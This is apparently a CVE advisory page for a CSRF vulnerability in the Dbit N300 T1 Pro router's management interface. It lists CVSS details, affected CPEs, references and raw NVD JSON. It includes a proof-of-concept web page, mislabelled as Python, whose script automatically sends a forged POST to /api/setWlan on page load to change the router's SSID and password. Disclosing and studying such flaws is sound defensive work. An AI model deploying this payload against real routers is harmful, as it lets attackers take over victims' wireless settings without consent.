CVE-2026-36956

Description

A Cross-Site Request Forgery (CSRF) vulnerability exists in the web management interface of the Dbit N300 T1 Pro wireless router V1.0.0. The router fails to implement proper CSRF protection mechanisms such as anti-CSRF tokens or strict Origin/Referer validation for administrative API endpoints. An attacker can craft a malicious webpage that sends forged HTTP requests to configuration endpoints such as /api/setWlan. If an authenticated administrator visits the malicious webpage, the victim's browser automatically includes the valid session cookie in the request, allowing the router to process the request as a legitimate administrative action.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dbitnet:dbit_n300_t1_pro_firmware:1.0.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dbitnet:dbit_n300_t1_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE

Dbit N300 T1 Pro V1.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-36956 CSRF Vulnerability -->
<!-- This code demonstrates a forged request to change WLAN settings -->
<html>
  <body>
    <script>
      // Function to send the malicious request automatically
      function exploit() {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://192.168.1.1/api/setWlan", true);
        xhr.setRequestHeader("Content-Type", "application/json");
        
        // Malicious payload to modify SSID and Password
        var payload = JSON.stringify({
          "ssid": "AttackerControlledSSID",
          "password": "pwned123",
          "security": "wpa2psk"
        });
        
        xhr.send(payload);
        console.log("Malicious request sent to /api/setWlan");
      }
      
      // Trigger the exploit on page load
      window.onload = exploit;
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-36956
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-36956
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-36956/
[4] VulDB https://vuldb.com/cve/CVE-2026-36956
[5] http://dbit.com
[6] https://github.com/kirubel-cve/CVE-2026-36956
[7] https://github.com/kirubel-cve/CVE-2026-36956

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-36956", "sourceIdentifier": "[email protected]", "published": "2026-04-30T15:16:22.740", "lastModified": "2026-05-05T00:09:06.320", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Cross-Site Request Forgery (CSRF) vulnerability exists in the web management interface of the Dbit N300 T1 Pro wireless router V1.0.0. The router fails to implement proper CSRF protection mechanisms such as anti-CSRF tokens or strict Origin/Referer validation for administrative API endpoints. An attacker can craft a malicious webpage that sends forged HTTP requests to configuration endpoints such as /api/setWlan. If an authenticated administrator visits the malicious webpage, the victim's browser automatically includes the valid session cookie in the request, allowing the router to process the request as a legitimate administrative action."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbitnet:dbit_n300_t1_pro_firmware:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "70807383-E273-452F-A0B0-7D2A43E2DF3F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbitnet:dbit_n300_t1_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "D4C110AA-5B09-44F5-A5EF-D284A721E4F1"}]}]}], "references": [{"url": "http://dbit.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/kirubel-cve/CVE-2026-36956", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/kirubel-cve/CVE-2026-36956", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}